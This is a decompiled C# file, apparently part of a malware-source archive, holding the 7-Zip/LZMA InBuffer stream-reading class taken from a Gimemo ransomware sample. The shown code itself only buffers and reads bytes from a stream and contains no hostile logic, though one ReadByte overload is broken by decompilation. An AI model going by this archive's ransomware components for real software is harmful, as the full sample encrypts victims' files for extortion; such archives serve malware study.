MalwareSourceCode/MSIL/Trojan-Ransom/Win32/G/Trojan-Ransom.Win32.Gimemo.ayt-7cb020d260d835f80919399a58563918f73757689e39ba851e89cc00a05535da/Buffer/InBuffer.cs

64 lines
1.8 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: SevenZip.Buffer.InBuffer
// Assembly: crypted, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 316F25AB-9DC5-41B1-B1CB-0BB9D97AEA6A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Ransom.Win32.Gimemo.ayt-7cb020d260d835f80919399a58563918f73757689e39ba851e89cc00a05535da.exe
using System;
using System.IO;
namespace SevenZip.Buffer
{
public class InBuffer
{
private byte[] m_Buffer;
private uint m_Pos;
private uint m_Limit;
private uint m_BufferSize;
private Stream m_Stream;
private bool m_StreamWasExhausted;
private ulong m_ProcessedSize;
public InBuffer(uint bufferSize)
{
this.m_Buffer = new byte[(IntPtr) bufferSize];
this.m_BufferSize = bufferSize;
}
public void Init(Stream stream)
{
this.m_Stream = stream;
this.m_ProcessedSize = 0UL;
this.m_Limit = 0U;
this.m_Pos = 0U;
this.m_StreamWasExhausted = false;
}
public bool ReadBlock()
{
if (this.m_StreamWasExhausted)
return false;
this.m_ProcessedSize += (ulong) this.m_Pos;
int num = this.m_Stream.Read(this.m_Buffer, 0, (int) this.m_BufferSize);
this.m_Pos = 0U;
this.m_Limit = (uint) num;
this.m_StreamWasExhausted = num == 0;
return !this.m_StreamWasExhausted;
}
public void ReleaseStream() => this.m_Stream = (Stream) null;
public bool ReadByte(byte b)
{
if (this.m_Pos >= this.m_Limit && !this.ReadBlock())
return false;
b = this.m_Buffer[(IntPtr) this.m_Pos++];
return true;
}
public byte ReadByte() => this.m_Pos >= this.m_Limit && !this.ReadBlock() ? byte.MaxValue : this.m_Buffer[(IntPtr) this.m_Pos++];
public ulong GetProcessedSize() => this.m_ProcessedSize + (ulong) this.m_Pos;
}
}